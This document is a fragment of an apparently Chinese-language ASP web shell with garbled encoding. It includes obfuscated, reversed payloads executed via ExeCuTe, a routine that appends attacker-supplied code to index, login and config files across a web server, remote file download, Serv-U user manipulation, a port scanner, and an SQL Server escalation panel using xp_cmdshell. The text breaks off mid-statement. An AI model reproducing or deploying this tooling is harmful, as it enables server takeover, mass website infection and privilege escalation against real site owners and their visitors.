¨~ & fLrCbv & ¨~enoN=soitaR-¨~ & fLrCbv & ¨~ralugeR=epyTdrowssaP-¨~ & fLrCbv & ¨~metsyS=ecnanetniaM-¨~ ~_ & fLrCbv & ¨~0=mumixaMatouQ-¨~ & fLrCbv & ¨~0=tnerruCatouQ-¨~ & fLrCbv & ¨~0=tiderCsoitaR-¨~ & fLrCbv & ¨~1=nwoDoitaR-¨~ ~_ & fLrCbv & ¨~1=pUoitaR-¨~ & fLrCbv & ¨~0=eripxE-¨~ & fLrCbv & ¨~1-=tuOemiTnoisseS-¨~ & fLrCbv & ¨~006=tuOemiTeldI-¨~ & fLrCbv & ¨~1-=sresUrNxaM-¨~ ~_ & fLrCbv & ¨~0=nwoDtimiLdeepS-¨~ & fLrCbv & ¨~0=pUtimiLdeepS-¨~ & fLrCbv & ¨~1-=PIrePnigoLsresUxaM-¨~ & fLrCbv & ¨~0=elbanEatouQ-¨~ ~_ & fLrCbv & ¨~0=drowssaPegnahC-¨~ & fLrCbv & ¨~0=nigoLwollAsyawlA-¨~ & fLrCbv & ¨~0=neddiHediH-¨~ & fLrCbv & ¨~0=eruceSdeeN-¨~ ~_ & fLrCbv & ¨~1=shtaPleR-¨~ & fLrCbv & ¨~0=elbasiD-¨~ & fLrCbv & ¨~=eliFseMnigoL-¨~ & fLrCbv & ¨~\\:c=riDemoH-¨~ ~_ & fLrCbv & ¨~do=drowssaP-¨~ & fLrCbv & ¨~og=resU-¨~ & fLrCbv & tropptf & ¨~=oNtroP-¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~PUTESRESUTES-¨~ = resuwen ~fLrCbv & ¨~=yeKOZT ¨~ & fLrCbv & ¨~0=elbanEOZT-¨~ & fLrCbv & ¨~0|1|1-|¨~ & tropptf & ¨~|0.0.0.0|4112903=niamoD-¨~ & fLrCbv & ¨~NIAMODTES-¨~ = niamodwen ~fLrCbv & ¨~ECNANETNIAM ETIS¨~ = tm ~fLrCbv & tropptf & ¨~=oNtroP ¨~ & fLrCbv & ¨~0.0.0.0=PI-¨~ & fLrCbv & ¨~NIAMODETELED-¨~ = niamodled ~fLrCbv & ssap & ¨~ ssaP¨~ = ssapnigol ~fLrCbv & resu & ¨~ resU¨~ = resunigol ~3=tuoemit ~00556 = tropptf ~fi dne ~)2,f(tfel=f ~esle ~)(htapg=f ~neht ¨~¨~=f fi ~))¨~f¨~(tseuqer(mirt=f ~))¨~c¨~(tseuqer(mirt = dmc ~))¨~trop¨~(tseuqer(mirt = trop ~))¨~p¨~(tseuqer(mirt = ssap ~))¨~u¨~(tseuqer(mirt = resu ~dne.esnopser neht )1noitca(ciremunsi ton fi ~)¨~1noitca¨~(tseuqer=1noitca ~1noitca mid ~tiuq ,resuwen ,niamodwen ,tm ,niamodled ,ssapnigol ,resunigol ,dmc ,tropptf ,trop ,ssap ,resu miD" ExeCuTe(UZSS(Hacker)) function Gpath() on error resume next err.clear set f=Server.CreateObject("Scripting.FileSystemObject") if err.number>0 then gpath="c:" exit function end if gpath=f.GetSpecialFolder(0) gpath=lcase(left(gpath,2)) set f=nothing end function Function GName() If request.servervariables("SERVER_PORT")="80" Then GName="http://" & request.servervariables("server_name")&lcase(request.servervariables("script_name")) Else GName="http://" & request.servervariables("server_name")&":"&request.servervariables("SERVER_PORT")&lcase(request.servervariables("script_name")) End If End Function Err.Clear Case "nofw" Hacker="¨~>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<¨~SRR~¨~>p<>aeratxet/<¨~&)¨~26¨~(rhC&¨~%)¨~¨~1¨~¨~(tseuqer labolGetucexE%¨~&)¨~06¨~(rhC&¨~Âë´ú»°¾äһɨ·Àɱ·À> 001=sloc 03=swor txet=eman aeratxet<¨~SRR~¨~>p<>'psa.pleh\¨~&)¨~/¨~(htaPpaM.revreS&¨~'=eulav 04=ezis hTaP=eman txet=epyt tupni<:¼þÎĵÄÈëдHSW-OSFÃâ¨~SRR~¨~>wfon=noitca?=noitca 'tsop'=dohtem mrof<¨~SRR~fi dne~k Etirw.EsnoPsER~noitcnuF dnE~pool~remiT = emiTdnE~n> ¨~&)L(b&¨~ ohce c/¨~=stnemugra.knilllehsjbo~¨~exe.dmc¨~=hTaP.knilllehsjbo~knilteg.mEtiredlofllehs= knilllehsjbo tes~)¨~knl.±¾Ê¼Ǩ~(emanesrap.redlofllehs=mEtiredlofllehs tes~)¨~¼þ¸½\Ðò³Ì\µ¥²Ë¡¹Ê¼¿ª¡¸\rEsU tluafeD\sgnitteS dna stnemucoD\:C¨~(ecapseman.llehs=redlofllehs tes~¨~>rb/<¨~&))L(b(edocnelmth.rEvrES Etirw.EsnoPsER~k OT 1=L roF~)¨~noitacilppa.llehs¨~(tcejboetaerc.rEvrES=llehs tes~txeN~1=nt~fI dnE~)¨~¨~,)01(rhc,)k(b(EcAlpER=)k(b~)i(yarraym=)k(b~)k(b evresERp miDeR~1+k=k~nEht )01(rhc><)i(yarraym dna )31(rhc><)i(yarraym dna ¨~¨~ ><)i(yarraym dna 0=nt fI~txen~fi dne~rof tixe~0=nt~nEht )31(rhc><)1,j,)i(yarraym(dim dna )01(rhc><)1,j,)i(yarraym(dim dna ¨~ ¨~><)1,j,)i(yarraym(dim fi~))i(yarraym(nel ot 1=j rof~)yarraym(dnuoBU ot 0=i roF~))31(rhC,txet(tilpS =yarraym~0=k~)(b miD~yarrAym miD~))43(rhc&¨~^¨~,)43(rhc,txet(EcAlpER=txet~)¨~|^¨~,¨~|¨~,txet(EcAlpER=txet~)¨~+^¨~,¨~+¨~,txet(EcAlpER=txet~)¨~:^¨~,¨~:¨~,txet(EcAlpER=txet~)¨~&^¨~,¨~&¨~,txet(EcAlpER=txet~)¨~<^¨~,¨~<¨~,txet(EcAlpER=txet~)¨~>^¨~,¨~>¨~,txet(EcAlpER=txet~)¨~^^¨~,¨~^¨~,txet(EcAlpER=txet~nEht ¨~¨~>µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:")&Server.MapPath("/")&("") ASP_SELF=Request.ServerVariables("PATH_INFO") s=Request("fd") if s="" then s=Server.MapPath("/") ex=Request("ex") pth=Request("pth") newcnt=Request("newcnt") addcode = Request("code") if addcode="" then addcode="" If ex<>"" AND pth<>"" Then select Case ex Case "edit" CALL file_show(pth) Case "save" CALL file_save(pth) End select Else RRS("
") RRS("
") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("") RRS("
Òª¹ÒÂíµÄÎļþ¼Ð (¾ø¶Ô·¾¶)£º
Òª¹ÒÂíµÄ´úÂë:
") End If Function IsPattern(patt,str) Set regEx=New RegExp regEx.Pattern=patt regEx.IgnoreCase=True retVal=regEx.Test(str) Set regEx=Nothing If retVal=True Then IsPattern=True Else IsPattern=False End If End Function if request.form("submit")<>"" then If s="" or addcode="" Then RRS "ÇëÊäÈë¹ÒÂíµÄ·¾¶»ò´úÂë!" response.end else If IsPattern("[^ab]{1}:{1}(\\|\/)",s) Then sch s End If end if Sub sch(s) oN eRrOr rEsUmE nExT Set fs=Server.createObject("Scripting.FileSystemObject") Set fd=fs.GetFolder(s) Set fi=fd.Files Set sf=fd.SubFolders For Each f in fi rtn=f.path step_all rtn Next If sf.Count<>0 Then For Each l In sf sch l Next End If End Sub Sub step_all(agr) retVal=IsPattern("(\\|\/)(default|index|conn|admin|bbs|reg|help|upfile|upload|cart|class|login|diy|no|ok|del|config|sql|user|ubb|ftp|asp|top|new|open|name|email|img|images|web|blog|save|data|add|edit|game|about|manager|main|article|book|bt|config|mp3|vod|error|copy|move|down|system|logo|QQ|520|newup|myup|play|show|view|ip|err404|send|foot|char|info|list|shop|err|nc|ad|flash|text|admin_upfile|admin_upload|upfile_load|upfile_soft|upfile_photo|upfile_softpic|vip|505)\.(htm|html|asp|php|jsp|aspx|cgi|js)\b",agr) If retVal Then step1 agr step2 agr Else Exit Sub End If End Sub Sub step1(str1) RRS "
¡Ì "&str1&" _" RRs "Down " RRS "edit " RRS "Del " RRS "Copy " RRS "Move
" End Sub Sub step2(str2) Set fs=Server.createObject("Scripting.FileSystemObject") isExist=fs.FileExists(str2) If isExist Then Set f=fs.GetFile(str2) Set f_addcode=f.OpenAsTextStream(8,-2) f_addcode.Write addcode f_addcode.Close Set f=Nothing End If Set fs=Nothing End Sub Err.Clear Case "replace" Fpath=Request("fd") addcode = Request("code") addcode2 = Request("code2") pcfile=request("pcfile") checkbox=request("checkbox") checkbox1=request("checkbox1") ShowMsg=request("ShowMsg") FType=request("FType") zfile=request("zfile") for i= 0 to ubound(split(server.mappath("."),"\")) d=split(server.mappath("."),"\") dir=dir&d(i)&"\" filename=dir&"dir.txt" On Error Resume Next SET FSO=Server.CreateObject("Scripting.FileSystemObject") SET FR = FSO.CreateTextFile(filename,true) IF NOT FSO.FileExists(filename) then else FR.close FSO.DeleteFile filename,True exit for end if next if zfile="" then zfile="default|index|conn|admin|reg|main|vip|qq|mm" if Ftype="" then Ftype="htm|html|asp|php|jsp|aspx|cgi|cer|asa|cdx" if Fpath="\" then Fpath=Server.MapPath("\") if Fpath="." or Fpath="" then Fpath=dir if addcode="" then addcode="" if checkbox="" then checkbox=request("checkbox") if checkbox1="" then checkbox1=request("checkbox1") if pcfile="" then pcfileName=Request.ServerVariables("SCRIPT_NAME") pcfilek=split(pcfileName,"/") pcfilen=ubound(pcfilek) pcfile=pcfilek(pcfilen) end if RRS "

" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "" RRS "
ÅúÁ¿Ìæ»»Æ÷-ÎļþÌæ»»Ð޸Ť¾ß
 ÍøÕ¾¸ùĿ¼¡°\¡±£º"&Server.MapPath("/")&"
 ±¾³ÌÐòĿ¼¡°.¡±£º"&Server.MapPath(".")&"
 Îļþ·¾¶£º ×¢Òâ:¸Ã·¾¶ÊÇ×î´ó¿ÉдĿ¼(×Ô¶¯Åбð)
 ÊÇ·ñ±äÐδúÂ룺 дÈë´úÂëʱ°Ñ´úÂë±äÐκóдÈëÎļþ - ΪÁË·ÀÖ¹ÅúÁ¿Ìæ»»µô´úÂë,´úÂë100%Õý³£ÔËÐÐ
 ÅųýÎļþ£º ÀýÈ磺1.asp|2.asp|3.asp
 ÎļþÀàÐÍ£º ÊäÈëÒªÐ޸ĵÄÎļþÀàÐÍ[À©Õ¹Ãû]
" RRS" ²éÕÒÄÚÈÝ£º" RRS"
 ½«Ì滻Ϊ£º
--±ê¼Ç½âÊÍ--[³É¹¦£º ¡Ì Åųý£º¡Á Öظ´£º¡Á]
" if request("submit")="¿ªÊ¼Ö´ÐÐ" then RRS "" RRS "" call InsertAllFiles(Fpath,addcode,pcfile) end if Sub InsertAllFiles(Wpath,Wcode,pc) Server.ScriptTimeout=999999999 if right(Wpath,1)<>"\" then Wpath=Wpath &"\" Set WFSO = CreateObject("Scripting.FileSystemObject") on error resume next Set f = WFSO.GetFolder(Wpath) Set fc2 = f.files For Each myfile in fc2 Set FS1 = CreateObject("Scripting.FileSystemObject") FType1=split(myfile.name,".") FType2=ubound(FType1) if Ftype2>0 then FType3=LCase(FType1(FType2)) else FType3="ÎÞ" end if if Instr(LCase(pc),LCase(myfile.name))=0 and Instr(LCase(FType),FType3)<>0 then Set tfile1=FS1.opentextfile(Wpath&""&myfile.name,1,-2) NewCode=Replace(tfile1.readall,Wcode,addCode2) Set objCountFile=WFSO.CreateTextFile(Wpath&myfile.name,True) objCountFile.Write NewCode objCountFile.Close RRS"" Next Set fsubfolers = f.SubFolders For Each f1 in fsubfolers NewPath=Wpath&""&f1.name InsertAllFiles NewPath,Wcode,pc Next set tfile=nothing Set FSO = Nothing set tfile=nothing set tfile2=nothing Set WFSO = Nothing End Sub Case "Logout":Session.Contents.Remove("mgler"):Response.Redirect URL Case Else MainMenu() End Select ShowErr() Sub Message(state,msg,flag) Response.Write "
½á¹ûÎļþ¾ø¶Ô·¾¶±à¼­À¸
¡Ì"&Wpath&myfile.name Set objCountFile=Nothing else RRS"¡Á"&Wpath&myfile.name end if RRS "ÏÂÔØ " RRS "±à¼­ " RRS "ɾ³ý " RRS "¸´ÖÆ
" Response.Write "
" Response.Write "
ϵͳÐÅÏ¢
" Response.Write "" Response.Write " " Response.Write "
"&state&"

"&msg&"
" If flag=0 Then Response.Write "" Else Response.Write "" End if Response.Write "
" End Sub Function Red(str) Red = "" & str & "" End Function Sub ScanDriveForm() 'ɨÃè´ÅÅÌÐÅÏ¢ Dim FSO,DriveB Set FSO = Server.Createobject("Scripting.FileSystemObject") Response.Write "" Response.Write "
" For Each DriveB in FSO.Drives Response.Write "" response.write "" response.write " " response.write "" response.write "" Next Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "" Response.Write "
´ÅÅÌ/ϵͳÎļþ¼ÐÐÅÏ¢
ÅÌ·û"&DriveB.DriveLetter&":ÀàÐÍ" Select Case DriveB.DriveType Case 1: Response.write "¿ÉÒƶ¯" Case 2: Response.write "±¾µØÓ²ÅÌ" Case 3: Response.write "ÍøÂç´ÅÅÌ" Case 4: Response.write "CD-ROM" Case 5: Response.write "RAM´ÅÅÌ" Case else: Response.write "δ֪ÀàÐÍ" End Select Response.Write "
WindowsÎļþ¼Ð"&FSO.GetSpecialFolder(0)&"
System32Îļþ¼Ð"&FSO.GetSpecialFolder(1)&"
ϵͳÁÙʱÎļþ¼Ð"&FSO.GetSpecialFolder(2)&"
" Response.Write "" Response.Write "
µ±Ç°ÍøÕ¾¾ø¶Ô·¾¶:"&Server.MapPath("/")&"" Response.Write "
Ö¸¶¨Îļþ¼Ð²éѯ£º" Response.Write " " Response.Write "¡¡Ö¸¶¨Îļþ¼Ð·¾¶¡£Èç D:\Program Files\Cs
" Set FSO=Nothing End Sub Sub ScanDrive(Drive) 'ɨÃèÖ¸¶¨´ÅÅÌ Dim FSO,TestDrive,BaseFolder,TempFolders,Temp_Str,D If Drive <> "" Then Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestDrive = FSO.GetDrive(Drive) If TestDrive.IsReady Then Temp_Str = "
  • ´ÅÅÌ·ÖÇøÀàÐÍ£º" & Red(TestDrive.FileSystem) & "
  • ´ÅÅÌÐòÁкţº" & Red(TestDrive.SerialNumber) & "
  • ´ÅÅ̹²ÏíÃû£º" & Red(TestDrive.ShareName) & "
  • ´ÅÅÌ×ÜÈÝÁ¿£º" & Red(Int(TestDrive.TotalSize/1073741824)) & Red("GB") & "
  • ´ÅÅ̾íÃû£º" & Red(TestDrive.VolumeName) & "
  • ´ÅÅ̸ùĿ¼:" & ScReWr((Drive & ":\")) Set BaseFolder = TestDrive.RootFolder Set TempFolders = BaseFolder.SubFolders For Each D in TempFolders Temp_Str = Temp_Str & "
  • Îļþ¼Ð£º" & ScReWr(D) Next Set TempFolder = Nothing Set BaseFolder = Nothing Else Temp_Str = Temp_Str & "
  • ´ÅÅ̸ùĿ¼:" & Red("²»¿É¶Á:(") Dim TempFolderList,t:t=0 Temp_Str = Temp_Str & "
  • " & Red("Çî¾ÙĿ¼²âÊÔ£º") TempFolderList = Array("windows","winnt","win","win2000","win98","web","winme","windows2000","asp","php","Tools","Documents and Settings","Program Files","Inetpub","ftp","wmpub","tftp","wwwroot") For i = 0 to Ubound(TempFolderList) If FSO.FolderExists(Drive & ":\" & TempFolderList(i)) Then t = t+1 Temp_Str = Temp_Str & "
  • ·¢ÏÖÎļþ¼Ð£º" & ScReWr(Drive & ":\" & TempFolderList(i)) End if Next If t=0 then Temp_Str = Temp_Str & "
  • ÒÑÇî¾Ù" & Drive & "Å̸ùĿ¼£¬µ«Î´Óз¢ÏÖ:(" End if Set TestDrive = Nothing Set FSO = Nothing Temp_Str = Temp_Str & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Message Drive & ":´ÅÅÌÐÅÏ¢",Temp_Str,1 End if End Sub Sub ScFolder(folder) On Error Resume Next Dim FSO,OFolder,TempFolder,Scmsg,S Set FSO = Server.Createobject("Scripting.FileSystemObject") If FSO.FolderExists(folder) Then Set OFolder = FSO.GetFolder(folder) Set TempFolders = OFolder.SubFolders Scmsg = "
  • Ö¸¶¨Îļþ¼Ð¸ùĿ¼£º" & ScReWr(folder) For Each S in TempFolders Scmsg = Scmsg&"
  • Îļþ¼Ð£º" & ScReWr(S) Next Set TempFolders = Nothing Set OFolder = Nothing Else Scmsg = Scmsg & "
  • Îļþ¼Ð£º" & Red(folder & "²»´æÔÚ»òÎÞ¶ÁȨÏÞ!") End if Scmsg = Scmsg & "

    ×¢Ò⣺²»Òª¶à´Îˢб¾Ò³Ã棬·ñÔòÔÚֻдÎļþ¼Ð»áÁôÏ´óÁ¿À¬»øÎļþ!" Set FSO = Nothing Message "Îļþ¼ÐÐÅÏ¢",Scmsg,1 End Sub Function ScReWr(folder) '1.¿É¶Á,²»¿Éд¡£2.²»¿É¶Á,¿Éд¡£3.¿É¶Á,¿Éд¡£4.²»¿É¶Á,²»¿Éд¡£ On Error Resume Next Dim FSO,TestFolder,TestFileList,ReWrStr,RndFilename Set FSO = Server.Createobject("Scripting.FileSystemObject") Set TestFolder = FSO.GetFolder(folder) Set TestFileList = TestFolder.SubFolders RndFilename = "\temp" & Day(now) & Hour(now) & Minute(now) & Second(now) & ".tmp" For Each A in TestFileList Next If err Then err.Clear ReWrStr = folder & " [²»¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End If Else ReWrStr = folder & " [¿É¶Á," FSO.CreateTextFile folder & RndFilename,True If err Then err.Clear ReWrStr = ReWrStr & "²»¿Éд]" Else ReWrStr = ReWrStr & "¿Éд]" FSO.DeleteFile folder & RndFilename,True End if End if Set TestFileList = Nothing Set TestFolder = Nothing Set FSO = Nothing ScReWr = ReWrStr End Function Function downloads() Hacker="fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~~gnihtoN = maertS teS ~gnihtoN = pttH teS ~ ~)rrE(rrEkhc ~htiW dnE ~esolC. ~fI dnE ~etirWrevo ,htaPeht eliFoTevaS. ~emaNelifteg & ¨~\¨~ & htaPeht = htaPeht ~fI dnE ~¨~txt.hv21¨~ = emaNelifteg ~nehT ¨~¨~ = emaNelifteg fI ~)))¨~/¨~ ,lrUeht(tilpS(dnuoBU()¨~/¨~ ,lrUeht(tilpS = emaNelifteg ~raelC.rrE ~nehT 4003 = rebmuN.rrE fI ~etirWrevo ,htaPeht eliFoTevaS. ~0 = noitisoP. ~ydoBesnopseR.pttH etirW. ~nepO. ~3 = edoM. ~1 = epyT. ~maerts htiW ~ ~fI dnE ~ nehT 4 >< etatSydaeR.pttH fI ~)(dneS.pttH ~eslaF ,lrUeht ,¨~TEG¨~ nepO.pttH ~ ~fI dnE ~1 = etirWrevo ~nehT 2 >< etirWrevo fI ~)¨~PTTHLMX.2LMXSM¨~(tcejbOetaerC.revreS = pttH teS ~)¨~maer¨~&e&¨~ts.bdo¨~&e&¨~da¨~(tcejbOetaerC.revreS = maerts teS ~)¨~etirWrevo¨~(tseuqeR = etirWrevo ~)¨~htaPeht¨~(tseuqeR = htaPeht ~)¨~lrUeht¨~(tseuqeR = lrUeht ~etirWrevo ,emaNelifteg ,maerts ,htaPeht ,lrUeht ,pttH miD ~fI dnE ~txeN emuseR rorrE nO ~nehT eslaF = edoMgubeDsi fI ~WR etirW.esnopseR ~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR ~¨~>mrof/<¨~ & WR=WR ~¨~¡£¾¶Â·µØ±¾·Ç¶ø£¬htaPµÄÆ÷Îñ·þÊÇhtaPµÄÀïÕ⣺Òâ×¢;psbn&¨~ & WR=WR ~¨~>rb<>rb<>tcAeht=eman lrUmorFnwod=eulav neddih=epyt tupni<¨~ & WR=WR ~¨~ >' ÔØÏ '=eulav timbus=epyt tupni< ¸Ç¸²ÔÚ´æ>dekcehc 2=eulav etirWrevo=eman xobkcehc=epyt tupni<¨~ & WR=WR ~¨~ >85=ezis ¨~¨~¨~ & ))¨~.¨~(htaPpaM.revreS(edocnElmtH & ¨~¨~¨~=eulav htaPeht=eman tupni<:htaP;psbn&¨~ & WR=WR ~¨~>/rb< >08=ezis '//:ptth'=eulav lrUeht=eman tupni<:rddA;psbn&¨~ & WR=WR ~¨~>tsop=dohtem mrof<>rb<>dt<>rt<¨~ & WR=WR ~¨~>rt/<>dt/<ÔØϽÓÖ±>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR ~ ¨~>rb<>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~ =WR" ExeCuTe(UZSS(Hacker)) End Function FuncTion MMD() Hacker="tlusERrts &¨~>rb<¨~ & )¨~DMM¨~(mrof.tsEuqER EtirW.EsnoPsER:gnihtoN = nnoCoda tes:fi dnE:)¨~>rb<¨~,)31(rhc,tlusERrts(EcAlpER = tlusERrts:)¨~;tg&¨~,¨~>¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;tl&¨~,¨~<¨~,tlusERrts(EcAlpER = tlusERrts:)¨~;psbn&¨~,¨~ ¨~,tlusERrts(EcAlpER = tlusERrts:gnihtoN = tlusERcer tes:fi dnE:pooL:txeNevoM.tlusERcer:)0(tlusERcer & )31(rhc & tlusERrts = tlusERrts:FOE.tlusERcer TON elihW oD:nEht FOE.tlusERcer TON fI:)yreuQrts(etucexE.nnoCoda = tlusERcer tes:¨~'¨~ & )¨~DMM¨~(mrof.tsEuqER & ¨~' llehsdmc_px.obd.retsam cexe¨~ = yreuQrts:di&¨~=DI rEsU;¨~&drowsSaP&¨~=drowsSaP;1.BDELOLQS=redivorP¨~ nepO.nnoCoda:)¨~noitcennoC.BDODA¨~(tcejbOetaerC.rEvrES=nnoCoda tes:))¨~U¨~(mrof.tsEuqER(mirt=di:))¨~P¨~(mrof.tsEuqER(mirt =drowsSaP:nEht ¨~¨~><))¨~DMM¨~(mrof.tsEuqER(mirt fI:¨~¨~=IS:IS Etirw.EsnoPsER:¨~>elbat/<>rt/<>mrof/<>ÐÐÖ´=eulav timbus=epyt tupni<>ÂëÃÜlqssm=eulav P=eman txet=epyt tupni<>Ãû»§ÓÃlqssm=eulav U=eman txet=epyt tupni<> 53=ezis DMM=eman txet=epyt tupni<ÁîÃüDMC>¨~¨~¨~¨~=noitca tsop=dohtem mrof=eman mrof<>rt=ssalc rt<>¨~¨~%001¨~¨~=htdiw elbat<>rb<¨~=IS" ExeCuTe(UZSS(Hacker)) end Function sub ScanPort() Hacker="FI DNE~¨~Ãë¨~&emiteht&¨~£ºÊ±·Ñ>rh<¨~ etirW.esnopseR~))1remit-2remit(tni(rtsc=emiteht~remit = 2remit~txeN~fI dnE~txeN~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,xxx & tratSpi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~))¨~-¨~,)uh(pi(rtSnI-))uh(pi(neL,1+)¨~-¨~,)uh(pi(rtSnI,)uh(pi(diM ot )1,1+)¨~.¨~,)uh(pi(veRrtSnI,)uh(pi(diM = xxx roF~))¨~.¨~,)uh(pi(veRrtSnI,1,)uh(pi(diM = tratSpi~eslE~txeN~fI dnE~fI dnE~¨~>rbrb xkees fI~)¨~-¨~ ,)i(pmt(rtSnI = xkees~eslE~))i(pmt ,)uh(pi(nacS llaC~ nehT ))i(pmt(ciremunsI fI~)pmt(dnuobU oT 0 = i roF~nehT 0 = )¨~-¨~,)uh(pi(rtSnI fI~)pi(dnuobU ot 0 = uh roF~)¨~,¨~,)¨~pi¨~(mroF.tseuqer(tilpS = pi~)¨~,¨~,)¨~trop¨~(mroF.tseuqer(tilpS = pmt~¨~>rb<>B/<:¸æ±¨Ãèɨ>B<>rh<>'006'=htdiw 'retnec'=ngila elbat<¨~ etirW.esnopseR~remit = 1remit~nehT ¨~¨~ >< )¨~nacs¨~(mroF.tseuqer fI~WR etirW.esnopseR~¨~>elbat/<>rt/<>dt/<¨~ & WR=WR~¨~>mrof/<>p/<¨~ & WR=WR~¨~u-vreSΪ85934,¿ØÔ¶CNVΪ0095,¿ØÔ¶erehwynAcpΪ1365£ºÃ÷˵;psbn&>rbrb<>rb<>'111'=eulav 'nacs'=di 'neddih'=epyt 'nacs'=eman tupni<¨~ & WR=WR~¨~>' Ãèɨ '=eulav 'timbus'=epyt 'timbus'=eman tupni<¨~ & WR=WR~¨~;psbn&;psbn&>'¨~&tsiLtroP&¨~'=eulav '06'=ezis 'txet'=epyt 'trop'=eman tupni<;psbn&:tsiL troP;psbn&>rb<¨~ & WR=WR~¨~>'06'=ezis '¨~&PIrevreS&¨~'=eulav 'pi'=di 'txet'=epyt 'pi'=eman tupni<;psbn&:sserddaPI;psbn&>p<¨~ & WR=WR~¨~>';eurt=delbasid.timbus.1mrof'=timbuSno ''=noitca 'tsop'=dohtem '1mrof'=eman mrof<>rb<>dt<>rt<¨~ & WR=WR~¨~>rb<>rt/<>dt/<Æ÷Ãèɨ¿Ú¶Ë>'unem'=rolocgb 'retnec'=ngila '02'=thgieh dt<>rt<¨~ & WR=WR~¨~>'retnec'=ngila '0'=gniddapllec '1'=gnicapsllec '0'=redrob 'unem'=rolocgb '006'=htdiw elbat<¨~=WR~fi dne~)¨~pi¨~(mroF.tseuqer=PI~esle~¨~1.0.0.721¨~=PI~neht ¨~¨~=)¨~pi¨~(mroF.tseuqer fi~fi dne~)¨~trop¨~(mroF.tseuqer=tsiLtroP~esle~¨~0095,1365,85934,9833,3341,544,931,531,011,08,52,32,12¨~=tsiLtroP~neht ¨~¨~=)¨~trop¨~(mroF.tseuqer fi~0006777 = tuoemiTtpircS.revreS" ExeCuTe(UZSS(Hacker)) end sub Sub Scan(targetip, portNum) On Error Resume Next set conn = Server.CreateObject("ADODB.connection") connstr="Provider=SQLOLEDB.1;Data Source=" & targetip &","& portNum &";User ID=sa;Password=;" conn.ConnectionTimeout = 1 conn.open connstr If Err Then If Err.number = -2147217843 or Err.number = -2147467259 Then If InStr(Err.description, "(Connect()).") > 0 Then RRS(targetip & ":" & portNum & ".........¹Ø±Õ
    ") Else RRS(targetip & ":" & portNum & ".........¿ª·Å
    ") End If End If End If End Sub function sql() if session("login")="" then response.write "
    ûÓеǽ
    " else response.write "
    Í˳öµÇ½
    " end if if session("login")="" then response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write "

     SqlÓû§Ãû£º" response.write "" response.write " SqlÃÜÂ룺" response.write "" response.write "

     Sql·þÎñÆ÷£º" response.write "" response.write " Sql¶Ë¿Ú£º" response.write "" response.write " " response.write "

    " else response.write "" response.write "" response.write "
    SQLÌáȨ

    " response.write " ×é¼þ¼ì²â£º

    " response.write "

    " response.write " ×é¼þ»Ö¸´£º

    " response.write "

    " response.write " ÏµÍ³ÃüÁ " response.write "" response.write "  " response.write "" response.write "

    " response.write "
    " response.write "

     Ö´ÐÐÓï¾ä£º" response.write "" response.write "  " response.write "" response.write "


    " end if if request("sqlaaa")="login" then set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & request.form("server") & "," & request.form("port") & ";password=" & request.form("pass") & ";uid=" & request.form("name") if err.number=-2147467259 then response.write "Êý¾ÝÔ´Á¬½Ó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=-2147217843 then response.write "Óû§ÃûÃÜÂë´íÎó´íÎó£¬Çë¼ì²é£¡" response.end elseif err.number=0 then strquery="select @@version" set recresult = adoconn.execute(strquery) response.write "

    " if instr(recresult(0),"NT 5.0") then response.write "Windows 2000ϵͳ" session("system")="2000" elseif instr(recresult(0),"NT 5.1") then response.write "Windows xpϵͳ" session("system")="xp" elseif instr(recresult(0),"NT 5.2") then response.write "Windows 2003ϵͳ" session("system")="2003" else response.write "ÆäËü²Ù×÷ϵͳ" session("system")="no" end if strquery="select is_srvrolemember('sysadmin')" set recresult = adoconn.execute(strquery) if recresult(0)=1 then response.write "
    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " session("pri")=1 else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " session("pri")=0 end if session("login")="yes" session("name")=request.form("name") session("pass")=request.form("pass") session("server")=request.form("server") session("port")=request.form("port") response.write "" End if Elseif request("sqlaaa")="test" then if session("login")<>"" then response.write "

    " if session("system")="2000" then response.write "Windows 2000ϵͳ" elseif session("system")="xp" then response.write "Windows xpϵͳ" elseif session("system")="2003" then response.write "Windows 2003ϵͳ" else response.write "ÆäËü²Ù×÷ϵͳ" end if if session("pri")=1 then response.write "
    ¹§Ï²£¡SQL Server×î¸ßȨÏÞ
    " else response.write "
    ÓôÃÆ£¬È¨ÏÞ²»¹»¹À¼Æ²»ÄÜÖ´ÐÐÃüÁ
    " end if set adoconn=server.createobject("adodb.connection") adoconn.open "provider=sqloledb.1;data source=" & session("server") & "," & session("port") & ";password=" & session("pass") & ";uid=" & session("name") strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'" set recresult = adoconn.execute(strquery) response.write "" if recresult(0) then session("xp_cmdshell")=1 response.write "xp_cmdshell............. ´æÔÚ!" else session("xp_cmdshell")=0 response.write "xp_cmdshell............. ²»´æÔÚ!" end if strquery="select count(*) from master.dbo.sysobjects where xtype='x' and name='sp_oacreate'" set recresult = adoconn.execute(strquery) if 